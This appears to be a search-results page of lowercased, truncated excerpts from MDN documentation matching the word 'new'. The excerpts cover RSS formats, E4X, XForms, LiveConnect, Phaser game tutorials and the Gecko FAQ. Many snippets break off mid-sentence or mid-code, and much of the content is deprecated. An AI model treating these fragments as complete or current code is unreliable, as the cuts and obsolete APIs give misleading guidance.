news feed. draft exists icbm let's you add latitude and longitude info to an item. spec exists itunes rss itunes extension modules used for ipradio/podcasting. spec exists media rss rss extension module used for iptv and ipradio/podcasting. spec exists
newsgator feed extension created to make rss feeds work better with
newsgator software. lets you specify an image, up to 277x78 pixels. and lets you specifies a specific rendering transform (xslt) to be used when rendering the feed in
newsgator for outlook. the transform must already exist on the machine running
newsgator; stylesheets will not be downloaded or installed automatically. spec exists r...
0.90 - Archive of obsolete content
f a website. (and not only a syndication format, as it is today.) rss 0.90 is an rdf-based format. when rss 0.90 was created, the rss initialization stood for rich site summary and not really simple syndication. (see rss - what is in a name for more info on rss's naming history.) note: rss 0.90 has been deprecated. producers of rssshould not be creating rss 0.90 feeds, andshould instead use a
newer non-deprecated rss format. (see the rss versions list for a list of non-deprecated rss formats.) consumers of rssshould still be able to accept rss 0.90 feeds though. examples rss 0.90 looked something like this: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://my.netscape.com/rdf/simple/0.9/" > <c...
...el> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </channel> <image> <title>mozilla</title> <url>http://www.mozilla.org/images/moz.gif</url> <link>http://www.mozilla.org</link> </image> <item> <title>
new status updates</title> <link>http://www.mozilla.org/status/</link> </item> <item> <title>bugzilla reorganized</title> <link>http://www.mozilla.org/bugs/</link> </item> <item> <title>mozilla party, 2.0!</title> <link>http://www.mozilla.org/party/1999/</link> </item> <item> <ti...
RSS - Archive of obsolete content
getting started a guided tutorial that will help you get started with rss. really simple syndication (rss) is a popular html-like xml-based data format used for syndication. rss has a sordid history and a multitude of different incompatible rss versions. (some being based on rdf, but most only being based on xml.) nonetheless, rss is an extremely popular format that is used for syndicating
news, blog posts, ipradio, and iptv, with an amazing amount of momentum. documentation why rss slash is popular - counting your comments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your comments. why well-formed web rss module is popular - syndicating your comments charles iliya...
...ormed web module, why it is popular among some, and how it is used to link to your comments. ...
NSPR Release Engineering Guide - Archive of obsolete content
spr generally follows the iplanet product lifecycle. ...
... platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing anomalies tag the tree with nsprpub_release_x_y[_z] release candidate checkout a whole
new tree using tag (including fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z in /share/builds/components/nspr20/ run the following scripts: explode.pl rena...
The Basics of Web Services - Archive of obsolete content
web services exchange data from a server to a client, using an xml format to send requests, so both the server and the client can understand each other. (xml introduction). ...
... web services exchange data from a server to a client, using an xml format to send requests, so both the server and the client can understand each other. (xml introduction). ...
Developing cross-browser and cross-platform pages - Archive of obsolete content
pversion.indexof("msie") != -1) { isie = true; alert("internet explorer"); }; while this kind of checking in the above code can work in a crude sense, sharp readers may wonder what happens when internet explorer 8 is released or when an opera 8.x user visits the page or even when an user with any non-netscape browser starting with a "8" character in the appversion string visits that page. as
new browsers are released, it becomes necessary to make updates to such code which attempts to narrow down the browser and browser version and to make the appropriate switches. another major problem with this approach is that the browser identity can be "spoofed" because, in many modern browsers, the navigator.appversion and navigator.useragent string properties are user configurable strings. for ex...
...tribute or dom feature), you can verify the support for that particular method in the visiting browser. ...
The global XML object - Archive of obsolete content
the xml object has several properties that allow you to customize parsing and serialization of e4x. xml elements will remember the settings of the xml object from the time of their creation. extending xml.prototype xml.prototype and xmllist.prototype (xmllist.prototype is actually just xml.prototype) cannot be extended in the same conventional way as other constructors such as object. you can only define methods in xml.prototype and not fields. to add a method to xml.prototype, define xml.prototype.function::methodname or xml.prototype.function::[methodnamestring]. ...
...?> </foo>; element.toxmlstring(); // returns <foo><?process x="true"?><bar/><?process x="false"?></foo> ignorewhitespace true by default. ignores whitespace between nodes and leading and trailing whitespace in text nodes, which would otherwise be interpreted as text nodes or as part of those text nodes, respectively. prettyprinting true by default. when true, toxmlstring() includes
newlines and indenting for the serialization of e4x objects. prettyindent 2 by default. the number of spaces to indent each level in the xml tree. ignored if prettyprinting is false. « previous ...
Date.prototype.toLocaleFormat() - Archive of obsolete content
this feature has been removed and will no longer work in firefox 58+. see warning: date.prototype.tolocaleformat is deprecated for more information and migration help. syntax dateobj.tolocaleformat(formatstring) parameters formatstring a format string in the same format expected by the strftime() function in c. ...
...mize the locale used, so using the system locale the choose the format string might in some cases not even be adequate. you might consider using some of the more general tolocale* methods of the date object or doing your own custom localization of the date to be displayed using some of the get* methods of the date object instead of using this method. examples using tolocaleformat() var today =
new date(); var date = today.tolocaleformat('%a, %b %e, %y'); in this example, tolocaleformat() returns a string such as "wednesday, october 3, 2007". note that the format string in this example is not properly localized, which will result in the problems described above. polyfill when using the datejs library you can polyfill date.prototype.tolocaledatestring() like this: if (!date.prototype.to...
Enumerator.atEnd - Archive of obsolete content
ator object. the atend method returns true if the current item is the last one in the collection, the collection is empty, or the current item is undefined. otherwise, it returns false. ...
...em is the last one in the collection, the collection is empty, or the current item is undefined. otherwise, it returns false. ...
Enumerator.item - Archive of obsolete content
rer. the enumerator.item method returns the current item in the collection. syntax enumobj.item() remarks the required enumobj reference is any enumerator object. the item method returns the current item. if the collection is empty or the current item is undefined, it returns undefined. ...
...the collection. syntax enumobj.item() remarks the required enumobj reference is any enumerator object. the item method returns the current item. if the collection is empty or the current item is undefined, it returns undefined. ...
Enumerator.moveFirst - Archive of obsolete content
mobj.movefirst( ) remarks the required enumobj reference is any enumerator object. if there are no items in the collection, the current item is set to undefined. ...
...s any enumerator object. if there are no items in the collection, the current item is set to undefined. ...
Enumerator.moveNext - Archive of obsolete content
ext( ) remarks the required enumobj reference is any enumerator object. if the enumerator is at the end of the collection or the collection is empty, the current item is set to undefined. ...
...ator object. if the enumerator is at the end of the collection or the collection is empty, the current item is set to undefined. ...
GetObject - Archive of obsolete content
nction to access an automation object from a file. assign the object returned by getobject to the object variable. for example: var cadobject; cadobject = getobject("c:\\cad\\schema.cad"); when this code is executed, the application associated with the specified pathname is started, and the object in the specified file is activated. if pathname is a zero-length string (""), getobject returns a
new object instance of the specified type. if the pathnameargument is omitted, getobject returns a currently active object of the specified type. if no object of the specified type exists, an error occurs. some applications allow you to activate part of a file. to do so, add an exclamation point (!) to the end of the file name and follow it with a string that identifies the part of the file you want...
...l class argument. for example: var myobject; myobject = getobject("c:\\drawings\\sample.drw", "figment.drawing"); in the preceding example, figment is the name of a drawing application and drawing is one of the object types it supports. once an object is activated, you reference it in code using the object variable you defined. in the preceding example, you access properties and methods of the
new object using the object variable myobject. for example: myobject.line(9, 90); myobject.inserttext(9, 100, "hello, world."); myobject.saveas("c:\\drawings\\sample.drw"); note: use the getobject function when there is a current instance of the object, or if you want to create the object with a file already loaded. if there is no current instance, and you don't want the object started with a fil...
VBArray - Archive of obsolete content
safearray a vbarray value. remarks vbarrays are read-only, and cannot be created directly. the safearray argument must have obtained a vbarray value before being passed to the vbarray constructor. this can only be done by retrieving the value from an existing activex or other object. ...
...rts. <head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k document.writeln(k) k = k + 1 next document.writeln("<br />") next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vbarray){ var a =
new vbarray(vbarray); var b = a.toarray(); var i; for (i = 0; i < 9; i++) { document.writeln(b[i]); } } --> </script> </head> <body> <script type="text/javascript"> <!-- vbarraytest(createvbarray()); --> </script> </body> properties the vbarray object has no properties. methods vbarray.dimensions returns the number of dimensions in a vbarray. vbarray.getitem returns ...
@set - Archive of obsolete content
this works because nan is the only value not equal to itself. requirements supported in all versions of internet explorer, but not in windows 8.x store apps. see also conditional compilation conditional compilation variables @cc_on statement @if statement ...
... this works because nan is the only value not equal to itself. requirements supported in all versions of internet explorer, but not in windows 8.x store apps. see also conditional compilation conditional compilation variables @cc_on statement @if statement ...
ECMAScript 5 support in Mozilla - Archive of obsolete content
ed in the latest versions of mozilla projects including both firefox and thunderbird has full support for ecmascript 5.1 features. this article covers the features supported by different versions of mozilla's javascript runtime. supported features added in javascript 1.8.5 (gecko 2, firefox 4 and later) firefox 4 has full ecmascript 5 support including the object.* methods and strict mode. see
new in javascript 1.8.5. added in javascript 1.8.1 (gecko 1.9.1, firefox 3.5) native json support object.getprototypeof() method. string.trim() method, which trims whitespace from both ends of the string. gecko 1.9.1.4 updated the implementation of json.stringify() to be compliant with ecmascript 5. improvements laid out by ecmascript 5 have been made in the parsing algorithm that prevents e...
...ototypeof() method. string.trim() method, which trims whitespace from both ends of the string. gecko 1.9.1.4 updated the implementation of json.stringify() to be compliant with ecmascript 5. improvements laid out by ecmascript 5 have been made in the parsing algorithm that prevents evaluating xhtml as javascript code in certain circumstances. added in javascript 1.6 (gecko 1.8, firefox 1.5)
new array methods offering several improved methods for manipulating arrays -- have been part of javascript since javascript 1.6. now they've been standardized as part of ecmascript 5. ...
Object.unobserve() - Archive of obsolete content
nce to a function and not an anonymous function, because this reference will be used to unset the previous observer. it's useless to call object.unobserve() with an anonymous function as callback, it will not remove any observer. ...
...anonymous function, because this reference will be used to unset the previous observer. it's useless to call object.unobserve() with an anonymous function as callback, it will not remove any observer. ...
LiveConnect - Archive of obsolete content
ounds. you can still embed java applets and access their api from javascript. liveconnect overview an overview for liveconnect. liveconnect reference the java classes used for liveconnect, along with their constructors and methods. java in firefox extensions community view mozilla.dev.tech.java forums... ...
...the use of the "mayscript" attribute in applet tags on an html page, following which the applet may refer to classes in the netscape.javascript package to access javascript objects, and scripts may directly call applet methods (using the syntax document.applets.name.methodname()). standard java objects are also available for creation and manipulation by javascript code (e.g. by writing code like "
new java.lang.string('javascript string')" for classes in the java.* package hierarchy, or using a
new "packages" object for classes outside this hierarchy). old liveconnect documents, broken links: java method overloading and liveconnect 3 the technique that liveconnect uses to invoke overloaded java methods from javascript. liveconnect exceptions how do java and javascript catch exception...
Old Proxy API - Archive of obsolete content
where: proto is an optional object representing the proxy’s prototype (defaults to null if none is provided). calltrap is a variable-argument function(args) { return any; } that reifies “proxy(args)”. note: the this-binding of the calltrap function is the this-binding of the call-site. constructtrap is an optional variable-argument function(args) { return any-object; } that reifies “
new proxy(args)”. the this-binding of the constructtrap is either undefined (in strict mode) or the global object (in non-strict mode). if no constructtrap is provided, performing
new proxy(...args) calls the proxy’s calltrap with this bound to a
new object delegating to the proxy's prototype. handler is an object that implements the handler api. handler api there are two kinds of traps: fund...
...wn (non-inherited) property names of the emulated object. object.getpropertynames(proxy) getpropertynames: function() -> strings array this function doesn't exist in ecmascript 5. like getownpropertynames, but should also return non-overridden inherited properties. object.defineproperty(proxy,name,pd) defineproperty: function(name, propertydescriptor) -> any define a
new property whose attributes are determined by the given propertydescriptor. the return value of this method is ignored. delete proxy.name delete: function(name) -> boolean delete the named property from the proxy. the boolean return value of this method should indicate whether or not the name property was successfully deleted. object.freeze(proxy) object.seal(proxy...
RDF: Resource Description Framework for metadata - Archive of obsolete content
redicate-object expression, called a triple in rdf terminology. the subject is the resource, the "thing" being described. the predicate is a trait or aspect about that resource, and often expresses a relationship between the subject and the object. the object is the object of the relationship or value of that trait. documentation directions of the mozilla rdf engine this presentation shows
new developments in the mozilla rdf engine. these include plans to expose the rdf api to public web content, as well as performance and correctness improvements. what is rdf tim bray's introduction to the resource description framework, at xml.com. rdf datasource how-to a cookbook-style document describing how to create a native, client-side datasource that works with mozilla's rdf implemen...
...to public web content, as well as performance and correctness improvements. what is rdf tim bray's introduction to the resource description framework, at xml.com. ...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
summary: a classic reborn! the amazing netscape fish cam page has been restructured and restyled for the
new millennium, ditching tables for strong and accessible markup. take a cruise through one aspect of the redesign with master styler eric meyer. it's a well-known maxim that if you stick around long enough, you get a chance to see the tides of history turn. if you're lucky, you get to ride the surf that second time around without being knocked over by the waves. i was privileged enough to have that chance recently: i was asked to redesign the amazing netscape fish cam page for a
new millennium. to put that in perspective, i remember when the fish cam page first appeared and word of it circulated around the internet. you could see the actual fish in the mythical netscape headquarters, any...
... {margin: 0.5em 0.5em 0.5em 160px;} and voila! the cards are done. conclusion redesigning a classic is something like being asked to revisemoby dick for modern audiences: you're thrilled at the opportunity, but afraid of doing injustice to the original. i'd like to think that the final result was in keeping with the original spirit of the amazing netscape fish cam page while giving it a nice
new css-driven look. i hope that our little cruise through this aspect of the redesign has gotten you hooked on the idea of using simple markup and css to create interesting effects, if you weren't already. with just the few elements i had available in this example, there were any number of possibilities for design effects, and i think you'll find the same to be true for your own designs if you just...
Community - Archive of obsolete content
if you know of useful mailing lists,
newsgroups, forums, or other communities related to xforms, please link to them here. view mozilla forums... ...
... if you know of useful mailing lists,
newsgroups, forums, or other communities related to xforms, please link to them here. view mozilla forums... ...
Troubleshooting XForms Forms - Archive of obsolete content
e loading the form from a server, make sure that it serves the files as either application/xhtml+xml or text/xml. check the xhtml 1.0 namespace declaration mozilla xforms is built upon the xhtml 1.0 specification, which is located at http://www.w3.org/1999/xhtml . ensure that your <html> element contains the supported namespace declaration: xmlns="http://www.w3.org/1999/xhtml" (instead of the
newer, unratified version, xhtml 2.0, located at http://www.w3.org/2002/06/xhtml2 ) inline instance, no controls get bound have you remembered to use the correct namespace for the instance nodes? for an inline instance you most probably need to have <xf:instance xmlns=""> .... any instance, no controls get bound if no controls show with either inline instance or an <xf:instance src="...">, chec...
... anti-xss protection exceptions you can temporarily fix the problem by unchecking the turn cross-site post requests into data-less get requests check box. alternatively, for a long term fix you can enter an exception pattern in the anti-xss protection exceptions text area. if you are developing on your local machine using apache tomcat for example then add the following regular expression on a
new line: ^http://localhost:8080/.* use the xforms buddy to view instance data the xforms buddy extension allows you to dynamically view model instance data while the xforms is running in the firefox browser. the home page for xfroms buddy is located at: xforms buddy using http proxy you can use the charles firefox extension to view your http session data including http header data. if all e...
Requests For Enhancement - Archive of obsolete content
introduction the purpose of this page is to gather requests for enhancement to the mozilla xforms implementation. if you have an idea that might improve mozilla's xforms implementation then you should choose one of the following rfe categories and put your request there. you can also contact the xforms team about your request. you can do so by posting a message on the xforms
newsgroup or file a
new bug in the 'xforms' component of the 'core' product. an additional way to attract the xforms team's attention to an enhancement request you are promoting is to vote for the bug that is related with the feature request (if there is no bug yet then please feel free to file it). then you can give a vote by clicking on the 'vote' link on the bug page. the xforms team looks at votes to help determine...
...he bug page. the xforms team looks at votes to help determine which bug is more important for our xforms users. rfe categories xforms api this section contains rfe to the xforms api. custom controls i think that xforms is a great way to show that 14 year old html hacks can build really powerful web apps and reduce the need for javascript by 90%. now we need to start teaching xforms to web
newcomers before they are brainwashed into believing that the only way to build cool web apps is to do dom surgery with javascript! dan mccreary. one of the outstanding features of xforms is that it can work with any xml host language. natively, the mozilla xforms implementation supports xforms elements being hosted in xhtml and xul documents. but a form author is not restricted to only those xml la...
XForms Repeat Element - Archive of obsolete content
<my:line name="a"> <my:price>3.00</my:price> </my:line> <my:line name="b"> <my:price>32.25</my:price> </my:line> </my:lines> </instance> </model> <repeat id="lineset" nodeset="/my:lines/my:line"> <input ref="my:price"> <label>line item</label> </input> <input ref="@name"> <label>name</label> </input> </repeat> <trigger> <label>insert a
new item after the current one</label> <action ev:event="domactivate"> <insert nodeset="/my:lines/my:line" at="index('lineset')" position="after"/> <setvalue ref="/my:lines/my:line[index('lineset')]/@name"/> <setvalue ref="/my:lines/my:line[index('lineset')]/price">0.00</setvalue> </action> </trigger> <trigger> <label>remove current item</label> <delete ev:event="domactivat...
...iv xforms:repeat-nodeset="val"> this is the inline content, just text. here comes the output: <br/> <xf:output ref="@id"><xf:label>output: </xf:label></xf:output> <div xf:repeat-nodeset="nest"><xf:output ref="."><xf:label>nested output: </xf:label></xf:output></div> </div> repeat in anonymous content (usage in xbl) you can use repeat elements inside anonymous content to create powerful
new widgets. in this scenario, though, you should use the anonid attribute to identify the repeat element that has been placed inside anonymous content. <head> <xbl:bindings> <xbl:binding id="grid"> <xbl:content> <xf:repeat xbl:inherits="bind, model, nodeset" anonid="anonidgridrepeat"> <xf:trigger> <xf:label>r</xf:label> <xf:delete ev:event="doma...
Web Standards - Archive of obsolete content
t number of web users while ensuring the long-term viability of any document published on the web. designing and building with these standards simplifies and lowers the cost of production, while delivering sites that are accessible to more people and more types of internet devices. sites developed along these lines will continue to function correctly as traditional desktop browsers evolve, and as
new internet devices come to market. [1] documentation migrate apps from internet explorer to mozilla ever have trouble getting your internet explorer-specific web applications to work with mozilla? this article covers common issues associated with migrating applications to the open source mozilla-based browser. using web standards in your web pages this artic...
...ld, there is a need for standards because applications are designed across multiple development groups. the business benefits of web standards this article discusses how adhering to web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals. community view mozilla forums... mailing list
newsgroup rss feed the web standards project webdev feedhouse other community links... tools firebug extension web developer extension markup validation service (w3c) css validation service (w3c) examples mozilla 1.0 demos - showing off what can be done with web standards. gecko demos css zen garden eric m...
XUL Parser in Python - Archive of obsolete content
warning: the content of this article may be out of date. this article is from 2000. v.00001 to celebrate activestate's recent announcement about support for perl and python in mozilla, i have put together this little python script that parses your local xul and builds a list of all the xul elements and their attributes in an html page. with
new widgets and attributes landing all the time, i wanted to get some quicker way of looking at the xul--at particular builds, at particular widgets, at which elements had which attributes, etc. the script writes out all the attributes and none of the values, but the parser itself is seeing the elements, their attributes, and the values of those attributes, and you just have to ask for them if you want them. for example, you could easily adap...
...had which attributes, etc. the script writes out all the attributes and none of the values, but the parser itself is seeing the elements, their attributes, and the values of those attributes, and you just have to ask for them if you want them. for example, you could easily adapt this to: return the id values of all the elements take elements on the command line and only spell them out build
new chrome subdirectories (i.e.
new "packages") on the fly using search and replace. as i adapt the script in these ways and try to further generalize the actual code as i get time, i will make it available here. in the explanation section below, i try to say a little something about how this script works. it's really just a wrapper around python's xmllib xml parser, but i had to sort of fool aroun...
Publishing games - Game development
om the web being truly multiplatform. this series of articles looks at the options you have when you want to publish and distribute your game, and earn something out of it while you wait for it to become famous. game distribution so you've followed a tutorial or two and created an html5 game — that's great! game distribution provides all you need to know about the ways you can distribute your
newly created game into the wild — including hosting it yourself online, submitting it to open marketplaces, and submitting it to closed ones like google play or the ios app store. game promotion developing and finishing the game is not enough. you have to let the world know that you have made something interesting available, which people will enjoy playing. there are many game promotion techniqu...
...s app store. game promotion developing and finishing the game is not enough. you have to let the world know that you have made something interesting available, which people will enjoy playing. there are many game promotion techniques — many of them free — so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great
new game. promoting the game helps a lot in monetizing it later on too, so it's important to do it effectively. game monetization when you spend your time building, publishing and promoting your game, you will at some point consider earning money out of it. game monetization is essential to anyone who considers their game development work a serious endeavour on the path to becoming an independent g...
WebVR — Virtual Reality for the Web - Game development
this article introduced webvr from the perspective of its use in games. vr devices with the popularity of oculus rift and a lot of other devices in production coming soon to the market, the future looks bright — we already have sufficient technology to make the vr experience "good enough" for playing games. there are many devices to chose from: desktop ones like oculus rift or htc vive, through consoles with playstation vr (which admittedly doesn't support webvr at this time), to mobile experiences like gear vr or google cardboard. ...
...de will loop through the available devices and assign proper sensors to the headsets — the first devices array contains the connected devices, and a check is done to find the hmdvrdevice, and assign it to the ghmd variable — using this you can set up the scene, getting the eye parameters, setting the field of view, etc. for example: function setcustomfov(up,right,down,left) { var testfov =
new vrfieldofview(up,right,down,left); ghmd.setfieldofview(testfov,testfov,0.01,10000.0); } the gpositionsensor variable holds the positionsensorvrdevice — using this you can get the current position or orientation state (for example to update the scene view on every frame), or reset the sensor. for example, the below code outputs position information on the screen: function setview() { var ...
Desktop mouse and keyboard controls - Game development
button can be clicked to do so, but we can use the enter key to do the same: var keyenter = this.game.input.keyboard.addkey(phaser.keycode.enter); var keyenter.ondown.add(this.clickstart, this); you can use addkey() to add any key the phaser.keycode object has to offer. the ondown() function is executed whenever the enter key is pressed — it will launch the clickstart() method, which starts a
new game. it's useful to provide an option to play the game on desktop without using a mouse, so you don't have to take your hands off the keyboard. controlling the game we can support keyboard input in games built with phaser by enabling the basic cursor keys in the create() function using the createcursorkeys() function: this.cursors = this.input.keyboard.createcursorkeys(); this creates four ...
...or and w a s d keys message will be shown — if not, then the mobile touch controls message will be. to skip the how to play screen, we can listen for any key being pressed and move on: this.input.keyboard.ondowncallback = function() { if(this.statestatus == 'intro') { this.hideintro(); } }; this hides the intro and starts the actual game, without us having to set up another
new key control just for this. pause and game over screens to make the game fully playable with keyboard it should be possible to go back to the main menu, continue playing, or restart the game from the pause and game over screens. it can be done exactly the same as before — by capturing key codes and performing actions. for example, by specifying phaser.keycode.backspace or phaser.keycode.delete...
Crisp pixel art look with image-rendering - Game development
oes not look blurry. developers have been manually scaling up graphics so they are shown with blocks that represent pixels. two downsides to this method are larger file sizes and compression artifacts. original size 4x size 4x size (scaled with an image editor) none vendor's algorithm nearest-neighbor algorithm a css-based solution the good
news is that you can use css to automatically do the up-scaling, which not only solves the blur problem, but also allows you to use the images in their original, smaller size, thus saving download time. also, some game techniques require algorithms that analyse images, which also benefit from working with smaller images. the css property to achieve this scaling is image-rendering. it is still experi...
...o size the canvas and render a crisp image: canvas { width: 512px; height: 512px; image-rendering: -moz-crisp-edges; image-rendering: -webkit-crisp-edges; image-rendering: pixelated; image-rendering: crisp-edges; } and some javascript to set up the canvas and load the image: // get canvas context var ctx = document.getelementbyid('game').getcontext('2d'); // load image var image =
new image(); image.onload = function () { // draw the image into the canvas ctx.drawimage(image, 0, 0); } image.src = 'https://udn.realityripple.com/samples/11/a2954fe197.png'; this code used together produces the following result: note: you can check out the original code on github (and a live example.) ...
Buttons - Game development
« previousnext » this is the 15th step out of 16 of the gamedev phaser tutorial. you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson15.html. instead of starting the game right away we can leave that decision to the player by adding a start button they can press. let's investigate how to do that.
new variables we will need a variable to store a boolean value representing whether the game is currently being played or not, and another one to represent our button. add these lines below your other variable definitions: var playing = false; var startbutton; loading the button spritesheet we can load the button spritesheet the same way we loaded the ball's wobble animation. add the following to the bottom...
...oad the button spritesheet the same way we loaded the ball's wobble animation. add the following to the bottom of the preload() function: game.load.spritesheet('button', 'img/button.png', 120, 40); a single button frame is 120 pixels wide and 40 pixels high. you also need to grab the button spritesheet from github, and save it in your /img directory. adding the button to the game adding the
new button to the game is done by using the add.button method. add the following lines to the bottom of your create() function: startbutton = game.add.button(game.world.width*0.5, game.world.height*0.5, 'button', startgame, this, 1, 0, 2); startbutton.anchor.set(0.5); the button() method's parameters are as follows: the button's x and y coordinates the name of the graphic asset to be displayed...
Collision detection - Game development
to the next challenge — the collision detection between the ball and the bricks. luckily enough we can use the physics engine to check collisions not only between single objects (like the ball and the paddle), but also between an object and the group. brick/ball collision detection the physics engine makes everything a lot easier — we just need to add two simple pieces of code. first, add a
new line inside your update() function that checks for collision detection between ball and bricks, as shown below: function update() { game.physics.arcade.collide(ball, paddle); game.physics.arcade.collide(ball, bricks, ballhitbrick); paddle.x = game.input.x || game.world.width*0.5; } the ball's position is calculated against the positions of all the bricks in the group. the third, op...
...s shown below: function update() { game.physics.arcade.collide(ball, paddle); game.physics.arcade.collide(ball, bricks, ballhitbrick); paddle.x = game.input.x || game.world.width*0.5; } the ball's position is calculated against the positions of all the bricks in the group. the third, optional parameter is the function executed when a collision occurs — ballhitbrick(). create this
new function as the bottom of your code, just before the closing </script> tag, as follows: function ballhitbrick(ball, brick) { brick.kill(); } and that's it! reload your code and you should see the
new collision detection working just as required. thanks to phaser there are two parameters passed to the function — the first one is the ball, which we explicitly defined in the collide method...
Load the assets and print them on screen - Game development
variables. the purpose of the tutorial is to teach phaser-specific approaches to game development rather than dwelling on subjective best approaches. loading the ball sprite loading images and printing them on our canvas is a lot easier using phaser than using pure javascript. to load the asset, we will use the game object created by phaser, executing its load.image() method. add the following
new line just inside the preload() function, at the bottom: function preload() { // ... game.load.image('ball', 'img/ball.png'); } the first parameter we want to give the asset is the name that will be used across our game code — for example, in our ball variable name — so we need to make sure it is the same. the second parameter is the relative path to the graphic asset. in our case, ...
...e name does not also have to be the same, but we'd recommend it, as it makes everything easier to follow.) of course, to load the image, it must be available in our code directory. grab the ball image from github, and save it inside an /img directory in the same place as your index.html file. now, to show it on the screen we will use another phaser method called add.sprite(); add the following
new code line inside the create() function as shown: function create() { ball = game.add.sprite(50, 50, 'ball'); } this will add the ball to the game and render it on the screen. the first two parameters are the x and y coordinates of the canvas where you want it added, and the third one is the name of the asset we defined earlier. that's it — if you load your index.html file you will see th...
The score - Game development
ource code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson11.html. having a score can also make the game more interesting — you can try to beat your own highscore, or your friend's. in this article we'll add a scoring system to our game. we will use a separate variable for storing the score and phaser's text() method to print it out onto the screen.
new variables add two
new variables right after the previously defined ones: // ... var scoretext; var score = 0; adding score text to the game display now add this line at the end of the create() function: scoretext = game.add.text(5, 5, 'points: 0', { font: '18px arial', fill: '#0095dd' }); the text() method can take four parameters: the x and y coordinates to draw the text at. the actu...
... to render the text with. the last parameter looks very similar to css styling. in our case the score text will be blue, sized at 18 pixels, and use the arial font. updating the score when bricks are destroyed we will increase the number of points every time the ball hits a brick and update the scoretext to display the current score. this can be done using the settext() method — add the two
new lines seen below to the ballhitbrick() function: function ballhitbrick(ball, brick) { brick.kill(); score += 10; scoretext.settext('points: '+score); } that's it for now — reload your index.html and check that the score updates on every brick hit. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how ...
Visual typescript game engine - Game development
list args for ioc constructor is for now just symbolic for now. (wip) in ioc, you can make strong class dependency relations. use it for your own structural changes. main dependency file // symbolic for now const plarformergameinfo = { name: "crypto-runner", title: "play platformer crypto runner!", }; // symbolic for now const gameslist: any[] = [ plarformergameinfo, ]; const master =
new ioc(gameslist); const appicon: appicon =
new appicon(master.get.browser); master.singlton(platformer, master.get.starter); console.log("platformer: ", master.get.platformer); master.get.platformer.attachappevents(); project structure builds/ is autogenerated. don't edit or add content in this folder. src,/ is the main client part (browser web application). main file: app.ts src/libs/ is a ...
... native mobile application web control (chrome implementation usually tested). npm run broadcaster documentation : beta version for documentation. api documentation if you wanna generate doc you will need manual remove the comment from plugin section in webpack.config.js. restart 'npm run dev' best way to fully healthy build. html/css is not prior to this project. if you wanna insert some
new html page just define it intro webpack.config.js : plugins : [
new htmlwebpackplugin({ filename: '/templates/mygamelobby.html', template: 'src/html-components/mygamelobby.html' }), ... see register and login example. code format : npm run fix npm run tslint or use : tslint -c tslint.json 'src/**/*.ts' --fix tslint -c tslint.json 'src/**/*.ts'...
Gecko FAQ - Gecko Redirect 1
what is gecko? gecko is the open source browser engine designed to support open internet standards such as html 5, css 3, the w3c dom, xml, javascript, and others. gecko is used in multiple browsers, including mozilla firefox, seamonkey, and others. gecko is continuously under development at mozilla.org. gecko has been known previously by the code names "raptor" and "nglayout"; the
new name was chosen following a trademark infringement dispute. for more information see the wikipedia article on gecko. what is a layout engine? basically, a layout engine takes content (such as html, xml, image files, applets, and so on) and formatting information (such as cascading style sheets, presentational html tags, etc.) and displays the formatted content on the screen. it paints the browser's...
...provided as part of gecko, such as bookmarks, history, address book, etc. however, the source for all those components is available for free download from mozilla.org. why was gecko built? the original mozilla browser, first released as navigator 1.0, was developed rapidly by a small team that was passionate about creating the next killer app, and they succeeded. now that the web has evolved, a
new generation layout engine was needed upon which future products could be built. gecko enables a pioneering
new class of dynamic content that is more interactive and offers greater presentation control to web developers, using open and recommended internet standards instead of proprietary apis. you are encouraged to join this team by getting involved. how does mozilla use gecko? gecko lies at the...
Plug-in Development Overview - Gecko Plugin API Reference
r plug-in modules for the platform and registers them. it determines which plug-ins are installed and which types they support through a combination of user preferences that are private to the browser, the contents of the plug-ins directory, or the registry on windows. a mime type is made up of a major type (such as application or image) and a minor type, for example, image/jpeg. if you define a
new mime type for a plug-in, you must register it with ietf (internet engineering task force). until your
new mime type is registered, preface its name with "x-", for example, image/x-nwim. for more information about mime types, see these mime rfcs: rfc-2045: "multipurpose internet mail extensions (mime) part one: format of internet message bodies" rfc-2046: "multipurpose internet mail extensions...
...methods that plug-ins can use to retrieve data from or post data to a url anywhere on the network, provide hyperlinks to other documents, post form data to cgi scripts using http, or upload files to a remote server using ftp. use npn_geturl to request the browser to load a url into a particular browser window or frame for display, or to deliver the data of that url to the plug-in instance in a
new stream. the npn_geturlnotify function operates like npn_geturl, except that it notifies the plug-in of the result when the operation completes. use npn_posturl to send data to a url from a memory buffer or file. the result from the server can also be sent to a particular browser window or frame for display, or delivered to the plug-in instance in a
new stream. the npn_posturlnotify function op...
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
mutable is a type of variable that can be changed. in javascript, only objects and arrays are mutable, not primitive values. (you can make a variable name point to a
new value, but the previous value is still held in memory. hence the need for garbage collection.) a mutable object is an object whose state can be modified after it is created. immutables are the objects whose state cannot be changed once the object is created. strings and numbers are immutable. lets understand this with an example: var immutablestring = "hello"; // in the above code, a
new object with string value is created. immutablestring = immutablestring + "world"; // we are now appending "world" to the existing value. on appending the "immutablestring" with a string value, following events occur: exis...
... above code, a
new object with string value is created. immutablestring = immutablestring + "world"; // we are now appending "world" to the existing value. on appending the "immutablestring" with a string value, following events occur: existing value of "immutablestring" is retrieved "world" is appended to the existing value of "immutablestring" the resultant value is then allocated to a
new block of memory "immutablestring" object now points to the
